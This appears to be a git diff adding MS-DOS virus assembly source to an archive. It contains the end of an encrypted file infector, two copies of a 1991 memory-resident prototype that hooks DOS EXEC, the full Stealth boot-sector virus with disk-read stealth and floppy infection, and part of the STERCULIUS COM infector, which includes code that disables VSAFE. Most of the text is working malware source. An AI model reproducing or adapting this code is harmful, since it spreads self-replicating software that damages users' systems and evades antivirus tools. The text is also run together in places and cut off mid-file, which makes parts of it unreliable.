lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +fake_msg db "Fuck you, I'm on strike! $" +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/MSDOS/Virus.MSDOS.Unknown.stack.asm b/MSDOS/Virus.MSDOS.Unknown.stack.asm new file mode 100644 index 00000000..7e7d213b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.stack.asm @@ -0,0 +1,198 @@ +;臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼 +; +; V I R U S P R O T O T Y P E +; +; Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd +; Date : 25 Jan 1991 21:05 +; Function : Found DOS stack in put himself in it. Then trace DOS +; function EXEC and type 'Infect File' +; +; +; If you want to have fun with this program just run file STACK.COM +; Don't worry, this is not a virus yet, just try to find him in memory +; with PCTools and/or MAPMEM. If you can -> just erase the source - it is +; useless for you. If you can't -> you don't have to look at it - it is too +; difficult to you to understand it. +; Best regards, Waleri Todorov +; +;臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼 + + + + + mov ah,52h ; Get DOS segmenty + int 21h + + cmp ax,1234h ; Also check for already here + jne Install ; If not -> install in memory +ReturnControl + + int 20h ; This program will give control + ; to main file +Install + mov ax,es ; mov DOS segment in AX + mov DosSeg,ax ; Save DOS segment for further usage + mov ds,ax ; DS now point in DOS segment + + call SearchDos ; Search DOS entry point + call SearchStack ; Search DOS stack + + push cs ; DS=ES=CS + push cs + pop ds + pop es + + mov ax,DosSeg ; get DOS segment in AX + mov cl,4 ; AX*=16 + shl ax,cl + mov bx,StackOff ; Stack new begin in BX + and bx,0FFF0h ; Mask low 4 bit + add ax,bx ; Compute new real address + mov cl,4 ; AX/=16 + shr ax,cl ; Now we get SEGMENT:0000 + sub ax,10h ; Segment-=10-> SEG:100h + mov StackOff,ax ; Save new segment for further usage + mov es,ax ; ES point in DOS New area + mov si,100h ; ES:DI -> DOS:free_space_in_stack + mov di,si ; DS:SI Current segment + mov cx,512d ; Virus is only 512 bytes long + rep movsb ; Move virus to new place + +; Installing virus in DOS' stack we will avoid a conflict with PCTools, +; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't +; affected, so if you have program, that count DOS' buffers to found +; Beast666, she won't found anything. +; In further release of full virus I will include anti-debugger system, +; so you will not be able to trace virus + + mov di,DosOff ; ES:DI point to DOS int21 entry point + mov ax,DosSeg + mov es,ax + mov al,0EAh ; JMP XXXX:YYYY + stosb + mov ax,offset Entry21 + stosw ; New 21 handler's offset + mov ax,StackOff + stosw ; New 21 handler's segment + + +; Now DOS will make far jump to virus. In case that virus won't +; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching, +; and DOSEDIT will operate correctly (with several virus he don't). + + inc di + inc di + mov Int21off,di ; Virus will call DOS after jump + jmp ReturnControl ; Return control to file + +; At this moment, return control is just terminate program via int 20h. +; In further release of full virus this subroutine will be able to +; return control to any file (COM or EXE). + + + +; These are two scanners subroutine. All they do are scanning DOS segment +; for several well-known bytes. Then they update some iternal variables. +; Be patience, when debug this area! + +SearchDos + mov ax,cs:[DosSeg] + mov ds,ax + xor si,si + +Search1 + lodsw + cmp ax,3A2Eh + je NextDos1 + dec si + jmp short Search1 +NextDos1 + lodsb + cmp al,26h + je LastDos + sub si,2 + jmp short Search1 +LastDos + inc si + inc si + lodsb + cmp al,77h + je FoundDos + sub si,5 + jmp short Search1 +FoundDos + inc si + mov cs:[Int21off],si + sub si,7 + mov cs:[DosOff],si + ret + +SearchStack + xor si,si +Search2 + lodsw + cmp ax,0CB8Ch + je NextStack1 + dec si + jmp short Search2 +NextStack1 + lodsw + cmp ax,0D38Eh + je NextStack2 + sub si,3 + jmp short Search2 +NextStack2 + lodsb + cmp al,0BCh + je FoundStack + sub si,4 + jmp short Search2 +FoundStack + mov di,si + lodsw + sub ax,200h + stosw + mov cs:[StackOff],ax + ret + +Entry21 ; Here is new int 21 handler + cmp ah,52h ; If GET_LIST_OF_LISTS + jne NextCheck + + mov ax,1234h ; then probably I am here + mov bx,cs:[DosSeg] ; so return special bytes in AX + mov es,bx + mov bx,26h + iret ; Terminate AH=52h->return to caller +NextCheck + cmp ax,4B00h ; If EXEC file + jne GoDos + call Infect ; then file will be infected +GoDos + jmp dword ptr cs:[Int21off] + ; Otherwise jump to DOS +Infect + push ds ; At this moment just write on screen + push dx + push ax + + push cs + pop ds + mov dx,offset Txt + mov ah,9 +CallDos + pushf ; Call real DOS + call dword ptr cs:[Int21off] + + pop ax + pop dx + pop ds + ret + +Int21off dw 0 ; Offset of DOS 21 AFTER jump to virus +DosSeg dw 0 ; DOS segment +StackOff dw 0 ; Offset of stack/New segment +DosOff dw 0 ; Offset of DOS 21 BEFIRE jump +Txt db 'Infect File$' ; Dummy text + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.stackvir.asm b/MSDOS/Virus.MSDOS.Unknown.stackvir.asm new file mode 100644 index 00000000..f7202d21 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.stackvir.asm @@ -0,0 +1,174 @@ +;臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼 +; +; V I R U S P R O T O T Y P E +; +; Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd +; Date : 25 Jan 1991 21:05 +; Function : Found DOS stack in put himself in it. Then trace DOS +; function EXEC and type 'Infect File' +; +; +; If you want to have fun with this program just run file STACK.COM +; Don't worry, this is not a virus yet, just try to find him in memory +; with PCTools and/or MAPMEM. If you can -> just erase the source - it is +; useless for you. If you can't -> you don't have to look at it - it is too +; difficult to you to understand it. +; Best regards, Waleri Todorov +; +;臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼臼 + + + mov ah,52h ; Get DOS segmenty + int 21h + cmp ax,1234h ; Also check for already here + jne Install ; If not -> install in memory +ReturnControl + int 20h ; This program will give control + ; to main file +Install + mov ax,es ; mov DOS segment in AX + mov DosSeg,ax ; Save DOS segment for further usage + mov ds,ax ; DS now point in DOS segment + call SearchDos ; Search DOS entry point + call SearchStack ; Search DOS stack + push cs ; DS=ES=CS + push cs + pop ds + pop es + mov ax,DosSeg ; get DOS segment in AX + mov cl,4 ; AX*=16 + shl ax,cl + mov bx,StackOff ; Stack new begin in BX + and bx,0FFF0h ; Mask low 4 bit + add ax,bx ; Compute new real address + mov cl,4 ; AX/=16 + shr ax,cl ; Now we get SEGMENT:0000 + sub ax,10h ; Segment-=10-> SEG:100h + mov StackOff,ax ; Save new segment for further usage + mov es,ax ; ES point in DOS New area + mov si,100h ; ES:DI -> DOS:free_space_in_stack + mov di,si ; DS:SI Current segment + mov cx,512d ; Virus is only 512 bytes long + rep movsb ; Move virus to new place +; Installing virus in DOS' stack we will avoid a conflict with PCTools, +; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't +; affected, so if you have program, that count DOS' buffers to found +; Beast666, she won't found anything. +; In further release of full virus I will include anti-debugger system, +; so you will not be able to trace virus + mov di,DosOff ; ES:DI point to DOS int21 entry point + mov ax,DosSeg + mov es,ax + mov al,0EAh ; JMP XXXX:YYYY + stosb + mov ax,offset Entry21 + stosw ; New 21 handler's offset + mov ax,StackOff + stosw ; New 21 handler's segment + +; Now DOS will make far jump to virus. In case that virus won't +; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching, +; and DOSEDIT will operate correctly (with several virus he don't). + inc di + inc di + mov Int21off,di ; Virus will call DOS after jump + jmp ReturnControl ; Return control to file +; At this moment, return control is just terminate program via int 20h. +; In further release of full virus this subroutine will be able to +; return control to any file (COM or EXE). + +; These are two scanners subroutine. All they do are scanning DOS segment +; for several well-known bytes. Then they update some iternal variables. +; Be patience, when debug this area! +SearchDos + mov ax,cs:[DosSeg] + mov ds,ax + xor si,si +Search1 + lodsw + cmp ax,3A2Eh + je NextDos1 + dec si + jmp short Search1 +NextDos1 + lodsb + cmp al,26h + je LastDos + sub si,2 + jmp short Search1 +LastDos + inc si + inc si + lodsb + cmp al,77h + je FoundDos + sub si,5 + jmp short Search1 +FoundDos + inc si + mov cs:[Int21off],si + sub si,7 + mov cs:[DosOff],si + ret +SearchStack + xor si,si +Search2 + lodsw + cmp ax,0CB8Ch + je NextStack1 + dec si + jmp short Search2 +NextStack1 + lodsw + cmp ax,0D38Eh + je NextStack2 + sub si,3 + jmp short Search2 +NextStack2 + lodsb + cmp al,0BCh + je FoundStack + sub si,4 + jmp short Search2 +FoundStack + mov di,si + lodsw + sub ax,200h + stosw + mov cs:[StackOff],ax + ret +Entry21 ; Here is new int 21 handler + cmp ah,52h ; If GET_LIST_OF_LISTS + jne NextCheck + mov ax,1234h ; then probably I am here + mov bx,cs:[DosSeg] ; so return special bytes in AX + mov es,bx + mov bx,26h + iret ; Terminate AH=52h->return to caller +NextCheck + cmp ax,4B00h ; If EXEC file + jne GoDos + call Infect ; then file will be infected +GoDos + jmp dword ptr cs:[Int21off] + ; Otherwise jump to DOS +Infect + push ds ; At this moment just write on screen + push dx + push ax + push cs + pop ds + mov dx,offset Txt + mov ah,9 +CallDos + pushf ; Call real DOS + call dword ptr cs:[Int21off] + pop ax + pop dx + pop ds + ret +Int21off dw 0 ; Offset of DOS 21 AFTER jump to virus +DosSeg dw 0 ; DOS segment +StackOff dw 0 ; Offset of stack/New segment +DosOff dw 0 ; Offset of DOS 21 BEFIRE jump +Txt db 'Infect File$' ; Dummy text diff --git a/MSDOS/Virus.MSDOS.Unknown.stealth.asm b/MSDOS/Virus.MSDOS.Unknown.stealth.asm new file mode 100644 index 00000000..af8c82ef --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.stealth.asm @@ -0,0 +1,1219 @@ +;The Stealth Virus is a boot sector virus which remains resident in memory +;after boot so it can infect disks. It hides itself on the disk and includes +;special anti-detection interrupt traps so that it is very difficult to +;locate. This is a very infective and crafty virus. + +COMSEG SEGMENT PARA + ASSUME CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG + + ORG 100H + +START: + jmp BOOT_START + +;******************************************************************************* +;* BIOS DATA AREA * +;******************************************************************************* + + ORG 413H + +MEMSIZE DW 640 ;size of memory installed, in KB + +;******************************************************************************* +;* VIRUS CODE STARTS HERE * +;******************************************************************************* + + ORG 7000H + +STEALTH: ;A label for the beginning of the virus + + +;******************************************************************************* +;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b) +;for every sector on the track. This is put at the very start of the virus so +;that when sectors are formatted, we will not run into a DMA boundary, which +;would cause the format to fail. This is a false error, but one that happens +;with some BIOS's, so we avoid it by putting this data first. +FMT_12M: ;Format data for Track 80, Head 1 on a 1.2 Meg diskette, + DB 80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2 + +FMT_360: ;Format data for Track 40, Head 1 on a 360K diskette + DB 40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2 + + +;******************************************************************************* +;* INTERRUPT 13H HANDLER * +;******************************************************************************* + +OLD_13H DD ? ;Old interrupt 13H vector goes here + +INT_13H: + sti + cmp ah,2 ;we want to intercept reads + jz READ_FUNCTION + cmp ah,3 ;and writes to all disks + jz WRITE_FUNCTION +I13R: jmp DWORD PTR cs:[OLD_13H] + + +;******************************************************************************* +;This section of code handles all attempts to access the Disk BIOS Function 2, +;(Read). It checks for several key situations where it must jump into action. +;they are: +; 1) If an attempt is made to read the boot sector, it must be processed +; through READ_BOOT, so an infected boot sector is never seen. Instead, +; the original boot sector is read. +; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on +; drive C are read, they are processed by READ_HARD, so the virus +; code is never seen on the hard drive. +; 3) If an attempt is made to read Track 1, Head 0, Sector 1 on the +; floppy, this routine checks to see if the floppy has already been +; infected, and if not, it goes ahead and infects it. + +READ_FUNCTION: ;Disk Read Function Handler + cmp dh,0 ;is it head 0? + jnz I13R ;nope, let BIOS handle it + cmp ch,1 ;is it track 1? + jz RF0 ;yes, go do special processing + cmp ch,0 ;is it track 0? + jnz I13R ;no, let BIOS handle it + cmp cl,1 ;track 0, is it sector 1 + jz READ_BOOT ;yes, go handle boot sector read + cmp dl,80H ;no, is it hard drive c:? + jz RF1 ;yes, go check further + jmp I13R ;else let BIOS handle it + +RF0: cmp dl,80H ;is it hard disk? + jnc I13R ;yes, let BIOS handle read + cmp cl,1 ;no, floppy, is it sector 1? + jnz I13R ;no, let BIOS handle it + call CHECK_DISK ;is floppy already infected? + jz I13R ;yes so let BIOS handle it + call INFECT_FLOPPY ;no, go infect the diskette + jmp SHORT I13R ;and then let BIOS do the read + +RF1: cmp cl,8 ;sector < 8? + jnc I13R ;nope, let BIOS handle it + jmp READ_HARD ;yes, divert read on the C drive + + +;******************************************************************************* +;This section of code handles all attempts to access the Disk BIOS Function 3, +;(Write). It checks for two key situations where it must jump into action. They +;are: +; 1) If an attempt is made to write the boot sector, it must be processed +; through WRITE_BOOT, so an infected boot sector is never overwritten. +; instead, the write is redirected to where the original boot sector is +; hidden. +; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on +; drive C are written, they are processed by WRITE_HARD, so the virus +; code is never overwritten. + +WRITE_FUNCTION: ;BIOS Disk Write Function + cmp dh,0 ;is it head 0? + jnz I13R ;nope, let BIOS handle it + cmp ch,0 ;is it track 0? + jnz I13R ;nope, let BIOS handle it + cmp cl,1 ;is it sector 1 + jnz WF1 ;nope, check for hard drive + jmp WRITE_BOOT ;yes, go handle boot sector read +WF1: cmp dl,80H ;is it the hard drive c: ? + jnz I13R ;no, another hard drive + cmp cl,8 ;sector < 8? + jnc I13R ;nope, let BIOS handle it + jmp WRITE_HARD ;else take care of writing to C: + + +;******************************************************************************* +;This section of code handles reading the boot sector. There are three +;possibilities: 1) The disk is not infected, in which case the read should be +;passed directly to BIOS, 2) The disk is infected and only one sector is +;requested, in which case this routine figures out where the original boot +;sector is and reads it, and 3) The disk is infected and more than one sector +;is requested, in which case this routine breaks the read up into two calls to +;the ROM BIOS, one to fetch the original boot sector, and another to fetch the +;additional sectors being read. One of the complexities in this last case is +;that the routine must return the registers set up as if only one read had +;been performed. +; To determine if the disk is infected, the routine reads the real boot sector +;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then +;this routine goes to get the original boot sector, etc., otherwise it calls ROM +;BIOS and allows a second read to take place to get the boot sector into the +;requested buffer at es:bx. + +READ_BOOT: + push ax ;save registers + push bx + push cx + push dx + push ds + push es + push bp + + push cs ;set ds=es=cs + pop es + push cs + pop ds + mov bp,sp ;and bp=sp + +RB001: mov al,dl + call GET_BOOT_SEC ;read the real boot sector + jnc RB01 ;ok, go on + call GET_BOOT_SEC ;do it again to make sure + jnc RB01 ;ok, go on + jmp RB_GOON ;error, let BIOS return err code +RB01: call IS_VBS ;is it the viral boot sector? + jz RB02 ;yes, jump + jmp RB_GOON ;no, let ROM BIOS read sector +RB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START) + mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86 + + mov al,BYTE PTR [bx] ;get disk type of disk being + cmp al,80H ;read, and make an index of it + jnz RB1 + mov al,4 +RB1: mov bl,3 ;to look up location of boot sec + mul bl + add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@BOOT_SECTOR_LOCATION table + mov bx,ax + mov ch,[bx] ;get track of orig boot sector + mov dh,[bx+1] ;get head of orig boot sector + mov cl,[bx+2] ;get sector of orig boot sector + mov dl,ss:[bp+6] ;get drive from original spec + mov bx,ss:[bp+10] ;get read buffer offset + mov ax,ss:[bp+2] ;and segment + mov es,ax ;from original specification + mov ax,201H ;prepare to read 1 sector + pushf + call DWORD PTR [OLD_13H] ;do BIOS int 13H + mov al,ss:[bp+12] ;see if original request + cmp al,1 ;was for more than one sector + jz RB_EXIT ;no, go exit + +READ_1NEXT: ;more than 1 sec requested, so + pop bp ;read the rest as a second call + pop es ;to BIOS + pop ds + pop dx ;first restore these registers + pop cx + pop bx + pop ax + + add bx,512 ;prepare to call BIOS for + push ax ;balance of read + dec al ;get registers straight for it + inc cl + + cmp dl,80H ;is it the hard drive? + jnz RB15 ;nope, go handle floppy + + push bx ;handle an infected hard drive + push cx ;by faking read on extra sectors + push dx ;and returning a block of 0's + push si + push di + push ds + push bp + + push es + pop ds ;ds=es + + mov BYTE PTR [bx],0 ;set first byte in buffer = 0 + mov si,bx + mov di,bx + inc di + mov ah,0 ;ax=number of sectors to read + mov bx,512 ;bytes per sector + mul bx ;# of bytes to read in dx:ax<64K + mov cx,ax + dec cx ;number of bytes to move in cx + rep movsb ;fill buffer with 0's + + clc ;clear c, fake read successful + pushf ;then restore everyting properly + pop ax ;first set flag register + mov ss:[bp+20],ax ;as stored on the stack + pop bp ;and pop all registers + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ah,0 + dec cl + sub bx,512 + iret ;and get out + +RB15: ;read next sectors on floppy + pushf ;call BIOS to + call DWORD PTR cs:[OLD_13H] ;read the rest (must use cs) + push ax + push bp + mov bp,sp + pushf ;use c flag from BIOS call + pop ax ;to set c flag on the stack + mov ss:[bp+10],ax + jc RB2 ;if error, return ah from 2nd rd + sub bx,512 ;else restore registers so + dec cl ;it looks as if only one read + pop bp ;was performed + pop ax + pop ax ;and exit with ah=0 to indicate + mov ah,0 ;successful read + iret + +RB2: pop bp ;error on 2nd read + pop ax ;so clean up stack + add sp,2 ;and get out + iret + +RB_EXIT: ;exit from single sector read + mov ax,ss:[bp+18] ;set the c flag on the stack + push ax ;to indicate successful read + popf + clc + pushf + pop ax + mov ss:[bp+18],ax + pop bp ;restore all registers + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + mov ah,0 + iret ;and get out + +RB_GOON: ;This passes control to BIOS + pop bp ;for uninfected disks + pop es ;just restore all registers to + pop ds ;their original values + pop dx + pop cx + pop bx + pop ax + jmp I13R ;and go jump to BIOS + + +;******************************************************************************* +;This table identifies where the original boot sector is located for each +;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect +;boot sector reads and writes. + +BOOT_SECTOR_LOCATION: + DB 40,1,6 ;Track, head, sector, 360K drive + DB 80,1,6 ;1.2M drive + DB 79,1,9 ;720K drive + DB 79,1,18 ;1.44M drive + DB 0,0,7 ;Hard drive + + +;******************************************************************************* +;This routine handles writing the boot sector for all disks. It checks to see +;if the disk has been infected, and if not, allows BIOS to handle the write. +;If the disk is infected, this routine redirects the write to put the boot +;sector being written in the reserved area for the original boot sector. It +;must also handle the writing of multiple sectors properly, just as READ_BOOT +;did. + +WRITE_BOOT: + push ax ;save everything we might change + push bx + push cx + push dx + push ds + push es + push bp + mov bp,sp + + push cs ;ds=es=cs + pop ds + push cs + pop es + + mov al,dl + call GET_BOOT_SEC ;read the real boot sector + jnc WB01 + call GET_BOOT_SEC ;do it again if first failed + jnc WB01 + jmp WB_GOON ;error on read, let BIOS take it +WB01: call IS_VBS ;else, is disk infected? + jz WB02 ;yes + jmp WB_GOON ;no, let ROM BIOS write sector +WB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START) + mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86 + + mov al,BYTE PTR [bx] + cmp al,80H ;infected, so redirect the write + jnz WB1 + mov al,4 ;make an index of the drive type +WB1: mov bl,3 + mul bl + add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@table entry + mov bx,ax + mov ch,[bx] ;get the location of original + mov dh,[bx+1] ;boot sector on disk + mov cl,[bx+2] ;prepare for the write + mov dl,ss:[bp+6] + mov bx,ss:[bp+10] + mov ax,ss:[bp+2] + mov es,ax + mov ax,301H + pushf + call DWORD PTR [OLD_13H] ;and do it + sti + mov dl,ss:[bp+6] + cmp dl,80H ;was write going to hard drive? + jnz WB_15 ;no + mov BYTE PTR [DR_FLAG],80H ;yes, update partition info + push si + push di + mov di,OFFSET PART ;just move it from sec we just + mov si,ss:[bp+10] ;wrote into the viral boot sec + add si,OFFSET PART + sub si,OFFSET BOOT_START + push es + pop ds + push cs + pop es ;switch ds and es around + mov cx,20 + rep movsw ;and do the move + push cs + pop ds + mov ax,301H + mov bx,OFFSET BOOT_START + mov cx,1 ;Track 0, Sector 1 + mov dx,80H ;drive 80H, Head 0 + pushf ;go write updated viral boot sec + call DWORD PTR [OLD_13H] ;with new partition info + pop di ;clean up + pop si + +WB_15: mov al,ss:[bp+12] + cmp al,1 ;was write more than 1 sector? + jz WB_EXIT ;if not, then exit + +WRITE_1NEXT: ;more than 1 sector + mov dl,ss:[bp+6] ;see if it's the hard drive + cmp dl,80H + jz WB_EXIT ;if so, ignore rest of the write + pop bp ;floppy drive, go write the rest + pop es ;as a second call to BIOS + pop ds + pop dx + pop cx ;restore all registers + pop bx + pop ax + add bx,512 ;and modify a few to + push ax ;drop writing the first sector + dec al + inc cl + pushf + call DWORD PTR cs:[OLD_13H] ;go write the rest + sti + push ax + push bp + mov bp,sp + pushf ;use c flag from call + pop ax ;to set c flag on the stack + mov ss:[bp+10],ax + jc WB2 ;an error + ;so exit with ah from 2nd int 13 + sub bx,512 + dec cl + pop bp + pop ax + pop ax ;else exit with ah=0 + mov ah,0 ;to indicate success + iret + +WB2: pop bp ;exit with ah from 2nd + pop ax ;interrupt + add sp,2 + iret + + +WB_EXIT: ;exit after 1st write + mov ax,ss:[bp+18] ;set carry on stack to indicate + push ax ;a successful write operation + popf + clc + pushf + pop ax + mov ss:[bp+18],ax + pop bp ;restore all registers and exit + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + mov ah,0 + iret + +WB_GOON: ;pass control to ROM BIOS + pop bp ;just restore all registers + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + jmp I13R ;and go do it + + +;******************************************************************************* +;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected, +;then instead of reading the true data there, return a block of 0's, since +;0 is the data stored in a freshly formatted but unused sector. This will +;fake the caller out and keep him from knowing that the virus is hiding there. +;If the disk is not infected, return the true data stored in those sectors. + +READ_HARD: + call CHECK_DISK ;see if disk is infected + jnz RWH_EX ;no, let BIOS handle the read + push ax ;else save registers + push bx + push cx + push dx + push si + push di + push ds + push bp + mov bp,sp + mov BYTE PTR es:[bx],0 ;zero the first byte in the blk + push es + pop ds + mov si,bx ;set up es:di and ds:si + mov di,bx ;for a transfer + inc di + mov ah,0 ;ax=number of sectors to read + mov bx,512 ;bytes per sector + mul bx ;number of bytes to read in ax + mov cx,ax + dec cx ;number of bytes to move + rep movsb ;do fake read of all 0's + + mov ax,ss:[bp+20] ;now set c flag + push ax ;to indicate succesful read + popf + clc + pushf + pop ax + mov ss:[bp+20],ax + + pop bp ;restore everything and exit + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ah,0 ;set to indicate successful read + iret + +RWH_EX: jmp I13R ;pass control to BIOS + + +;******************************************************************************* +;Handle writes to hard disk Track 0, Head 0, 1 message on the screen when a virus is taking up space at +the top of conventional RAM. + +You won't see STERCULIUS using this technique, nor will a look at where +INT 21 is pointing under PROVIEW tell the dilettante much. + +Proview will show you the interrupt is still pointing into the table, where +it belongs. +You'll have to look close to see that the original address has changed! + +STERCULIUS has been tested under QEMM 7.0 and QEMM 6.0 but there is +always the probability that it will crash on other multi-tasking systems +which use other memory managers. + + +Often, you see, they use the space where STERCULIUS resides. + +If this is the case, they system will hang when STERCULIUS invades it. +You can alter this behavior by looking at the interrupt vector table on your +system and altering where STERCULIUS copies itself into memory by moving +the virus up in RAM. + +Also, this method of residency has an indirect benefit. +STERCULIUS can't be properly DEBUGGED by ZD86 because they conflict +over the same memory space. + +STERCULIUS infects COMMAND.COM quite easily and doesn't interfere +with boot up. However, since COMMAND.COM overwrites the space +STERCULIUS is using at boot time, the virus is expunged from memory +on completion of system installation. Shelling anytime thereafter +reinstalls the virus. Reloading the transient portion of COMMAND.COM +doesn't interfere with the virus either. + + +$ + +;************************************** +; STERCULIUS VIRUS +; +; AUTHORS: Khntark / Urnst Kouch +; DATE: SEPTEMBER 1993 +; +;************************************** + +.model tiny +.code + org 100h + +START: + db 0E9h,03,00,'S' ;Jump to Virus_Entry + +FAKE_HOST: + int 20h ;host file terminate + + +VIRUS_ENTRY: + + call INITIALIZE + +ID: db 'STERCULIUS' ;The Roman god of feces + ;intellectual property of Mike +INITIALIZE: ;Judge, sort of, and if this + pop si ;means nothing to you, then you're + sub si,3 ;not paying attention + +;***************** +; Restore host +;***************** + + push si + cld + add si,OFFSET HOST_STUB - OFFSET VIRUS_ENTRY + mov di,0100h + movsw + movsw + pop si + +;*************************** +; Remove MSAV / CPAV VSAFE ;<---VSLAY, Crypt Newsletter 15 [ref] +;*************************** + + mov dx,5945h + mov ax,0FA01h ;AL=01 very important! + int 21h + +;*************************** +; Check if already resident +;*************************** + + xor ax,ax + mov es,ax + mov di,01E0h + cmp WORD PTR es:[di + 3],'TS' + je EXIT + + mov cx,ZIZE + rep movsb ;move virus to 0000:01E0 from ds:si + +;*********************** +; Mov INT 21 address +;*********************** + + mov si,21h * 4 + mov ds,ax ;ds=0 + movsw ;from ds:si to es:di + movsw + +;*********************** +; Hook INT 21 +;*********************** + + mov di,01E0h + add di,OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY + cli ;disable interrupts + mov WORD PTR [si - 4],di ;address of INT 21 handler + mov WORD PTR [si - 2],ax + sti ;enable interrupts + + push cs + pop ds +EXIT: push cs + pop es + mov si,0100h + push si + ;push 0100h ;386 code left out + ret ;return to host + +;---------------------------------------------------------------------------- + +NEW_HOST_ENTRY: + db 0E9h,00,00,'S' + +HOST_STUB: + db 090h,090h,090h,090h ;nops + +INT_21: + pushf + call DWORD PTR cs:[REALL_INT_21] + ret + +QUICK_EXIT: jmp QUICK_OUT + +;---------------------------------------------------------------------------- +INT_21_HANDLER: + + cmp ah,4Bh ;execute a file? + jne QUICK_EXIT ;quick exit handler + + push ax + push bx + push cx + push dx + push ds + push es + push si + push di + push bp + pushf + +;*********************** +; Save Attributes +;*********************** + + mov ax,4300h + call INT_21 + jc SKIP + push cx ;save attributes to stack + push ds + push dx ;ds:dx = pathname to file + + +;*********************** +; Klear Attributes +;*********************** + + xor cx,cx + mov ax,4301h + call INT_21 +SKIP: jc RESTORE_ATTRIBUTES + +;*********************** +; Open File +;*********************** + + mov ax,3D02h + call INT_21 + jc RESTORE_ATTRIBUTES + xchg bx,ax ;file handle to bx + +;*********************** +; Save Date & time +;*********************** + + mov ax,5700h + call INT_21 + push dx ;save date + push cx ;save time + +;*********************** +; Read 4 bytes +;*********************** + + mov cx,04 ;# of bytes to read + mov dx,HOST_STUBB ;buffer to read 4 bytes to + mov si,dx + mov ah,3Fh + push cs + pop ds ;ds=cs + call INT_21 ;read to ds:dx + jc CLOSE_FILE + +;*********************** +; Check File +;*********************** + + cmp WORD PTR [si],'ZM' ;EXE file? + je CLOSE_FILE + cmp BYTE PTR [si + 3],'S' ;infected COM file? + je CLOSE_FILE + +;*********************** +; File PTR @EOF +;*********************** + + mov ax,4202h + xor cx,cx + cwd ;cx = dx = 00 + call INT_21 + + sub ax,03 ;fix file size + xchg bp,ax ;address to jump to + + add ax,ZIZE ;file + VIRUS SIZE > 64K? + jc CLOSE_FILE ;exit if so + +;*********************** +; Write Virus +;*********************** + + mov ah,40h + mov cx,ZIZE ;cx = #of bytes + mov dx,01E0h ;dx = write from here + call INT_21 + +;*********************** +; Set PTR @BOF +;*********************** + + mov ax,4200h + xor cx,cx + cwd ;cx = dx = 00 + call INT_21 + +;*********************** +; Write new jump +;*********************** + + mov ah,40h + mov cx,4 